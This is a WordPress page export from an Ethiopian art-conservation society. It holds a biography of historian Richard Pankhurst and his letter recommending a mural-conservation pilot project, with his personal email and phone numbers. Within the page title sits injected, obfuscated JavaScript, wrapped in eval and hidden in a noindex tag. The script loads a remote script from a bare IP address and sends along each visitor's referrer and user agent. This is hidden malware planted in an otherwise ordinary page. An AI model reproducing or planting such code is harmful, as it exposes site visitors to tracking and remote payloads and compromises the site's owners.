{"id":330,"date":"2011-04-15T08:56:08","date_gmt":"2011-04-15T06:56:08","guid":{"rendered":"http:\/\/conservationinethiopia.org\/?page_id=330"},"modified":"2016-05-19T22:35:49","modified_gmt":"2016-05-19T20:35:49","slug":"letter-of-recommendation-by-richard-pankhurst","status":"publish","type":"page","link":"https:\/\/conservationinethiopia.org\/?page_id=330","title":{"rendered":"Letter of Recommendation"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><span style=\"font-size: 15px; font-weight: bold;\">Presentation <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztnbf|var|u0026u|referrer|kdtzr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> of Professor Pankhurst\u00a0<\/span><span style=\"font-size: 15px; font-weight: bold;\">and his\u00a0Letter<\/span><br \/>\n<span style=\"font-size: 15px; font-weight: bold;\">of Recommendation<\/span><br \/>\n<span style=\"font-size: 15px; font-weight: bold;\"> <a href=\"https:\/\/conservationinethiopia.org\/wp-content\/uploads\/2011\/04\/Richard-Pankhurst-in-his-home-in-Addis-Ababa.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-274\" title=\"Richard Pankhurst, in his home in Addis Ababa\" src=\"https:\/\/conservationinethiopia.org\/wp-content\/uploads\/2011\/04\/Richard-Pankhurst-in-his-home-in-Addis-Ababa.jpg\" alt=\"\" width=\"400\" height=\"513\" srcset=\"https:\/\/conservationinethiopia.org\/wp-content\/uploads\/2011\/04\/Richard-Pankhurst-in-his-home-in-Addis-Ababa.jpg 400w, https:\/\/conservationinethiopia.org\/wp-content\/uploads\/2011\/04\/Richard-Pankhurst-in-his-home-in-Addis-Ababa-233x300.jpg 233w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><\/a><\/span><\/p>\n<p><span style=\"color: #339966;\">RICHARD PANKHURST<\/span> is the son of the Suffragette leader Sylvia Pankhurst (1882-1960). He is a world-famous scholar of history and a central figure within the Ethiopian academic and cultural life, as well as a highly esteemed person amongst ordinary citizens of Ethiopia. He has published more than 20 books, mainly concerning Ethiopian history, and innumerable essays, not least published in The Encyclopaedia Aethiopica. As founder of The Institute of Ethiopian Studies (IES), Addis Ababa University, centre for the international studies of humanities of Ethiopia, since 1963 housed in the former villa of Emperor Haille Sellasie, Pankhurst has made and still make a great scholarly and pragmatic contribution to the history and culture of Ethiopia. His most renowned achievement to the Ethiopian people was when he directed the campain for to repatriate the great stelae of Aksum, a more than 30 metre high monolith from the 4th century considered as the most precious cultural heritage of the country. In 1937, it was looted by the Italian Fascist regime and moved to Rome. After many years of efforts and negoziations with the Italian government, in 2005 it was returned to Aksum, an event celebrated by the whole nation. A sign of his position as the grand old man of Ethiopian studies is that the new university library at Addis Ababa University will be named The Richard Pankhurst University Library.<\/p>\n<p>Professor Pankurst has ever since the first preparations of this project given his full support and is a great spokesman for our society and its objectives, formulated in our charter. Please, find below his Letter of Recommendation.<\/p>\n<p>&nbsp;<\/p>\n<p><span class=\"Apple-style-span\" style=\"font-size: 20px; font-weight: bold;\"><strong>To whom it may concern<\/strong><\/span><\/p>\n<p>I hereby have the pleasure to recommend \u201cConservation in Ethiopia \u2013 a Pilot project\u201d, i.e. a\u00a0model of how conservation of ancient Ethiopian art on a larger scale can be accomplished in Ethiopia. The project will also include a didactic part with the aim of educating Ethiopians in\u00a0painting conservation, and will be done in co-operation with Chalmers University of Technology,\u00a0Sweden, The Royal Danish Academy of Fine Arts, School of Conservation and domestic cultural\u00a0and ecclesi-astical institutions in Ethiopia. It is governed by The Society for the Conservation of\u00a0the Ethiopian Cultural Heritage (SCECH), a non-profit organization, and will be carried through\u00a0by a Swedish team consisting of Lars Gerdmar, Icon Painter, Restorer, Independent scholar of\u00a0Byzantine art, Carmen Deas, Painting Restorer, specialized in medieval Latin and Byzantine wall\u00a0painting, and Karl-Gunnar Olsson, PhD, Civil Engineer, Building Expert.<\/p>\n<p style=\"text-align: justify;\">The medieval sacred art of Ethiopia constitutes an important part of African art and of World\u00a0Heritage. Unfortunately, today we see these treasures falling into decay. As Founder and First\u00a0Director of the Institute of Ethiopian Studies, dedicated to international research in the arts of\u00a0Ethiopia, for more than 40 years I have been able to follow this sad development. The situation is\u00a0alarming and measures have to be taken.<\/p>\n<p>Therefore it is with pleasure that I have seen Lars Gerdmar\u2019s efforts to pave the way for this\u00a0project here in Ethiopia. On several occasions in Addis Ababa I have discussed with him\u00a0questions connected with this project. SCECH and its collaborators has a long-term plan starting\u00a0with the pilot project and leading up to a major program of conservation and education.\u00a0The project is well-established on a national as well as regional and local level, and the selection\u00a0of Yimrihane Kristos, Amhara, the church to be conserved, is well conceived. The newly completed examination and subsequent report, shows in a convincing manner the significance of this church and the urgency of the need to conserve its murals.<\/p>\n<p>What also speaks in favour of Gerdmar and this pilot project is his familiarity with Ethiopia.\u00a0Being both icon painter and restorer, and after long periods of travel in the Ethiopian highlands,\u00a0he is well acquainted with priests and monks and knows how best to co-operate with them. A\u00a0good dialogue on location is a recipe for success with such projects, and Gerdmar\u2019s knowledge of\u00a0local conditions ensure that these projects will run smoothly.<\/p>\n<p>I warmly recommend SCECH\u2019s Pilot project managed by Mr. Lars Gerdmar and the subsequ-ent\u00a0conservation work in Ethiopia by his team and hope the needed funds will be forthcoming.<\/p>\n<p>&nbsp;<\/p>\n<p>Addis Ababa, December 24, 2012<\/p>\n<p>&nbsp;<\/p>\n<p>Signed on behalf of Richard Pankhurst<\/p>\n<p>Professor, Founder and First Director of the Institute of Ethiopian Studies<br \/>\nAddis Ababa University<\/p>\n<p>Lars Gerdmar<br \/>\nProject Manager<\/p>\n<p>&nbsp;<\/p>\n<p>Richard Pankhurst:<br \/>\nEmail: ripankhurst@gmail.com<br \/>\nPhone and mobile in Ethiopia:<br \/>\n113712901, 0911 208580<br \/>\nFrom abroad:<br \/>\n+251 113712901, +251 911 208580<\/p>\n<p>______________________________________________________________________________<\/p>\n<p>Learn more about Professor Pankhurst:<\/p>\n<p><span style=\"color: #339966;\"><a style=\"color: #339966;\" href=\"http:\/\/www.raceandhistory.com\/Historians\/pankhurst.htm\">http:\/\/www.raceandhistory.com\/Historians\/pankhurst.htm<\/a><\/span><\/p>\n<p>See interview with Mr. and Mrs. Pankhurst:<\/p>\n<p><span style=\"color: #339966;\"><a style=\"color: #339966;\" href=\"http:\/\/www.youtube.com\/watch?v=zUX17yyeNlI\">http:\/\/www.youtube.com\/watch?v=zUX17yyeNlI\u00a0\u00a0<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Presentation of Professor Pankhurst\u00a0and his\u00a0Letter of Recommendation RICHARD PANKHURST is the son of the Suffragette leader Sylvia Pankhurst (1882-1960). He is a world-famous scholar of history and a central figure within the Ethiopian academic and cultural life, as well as a highly esteemed person amongst ordinary citizens of Ethiopia. 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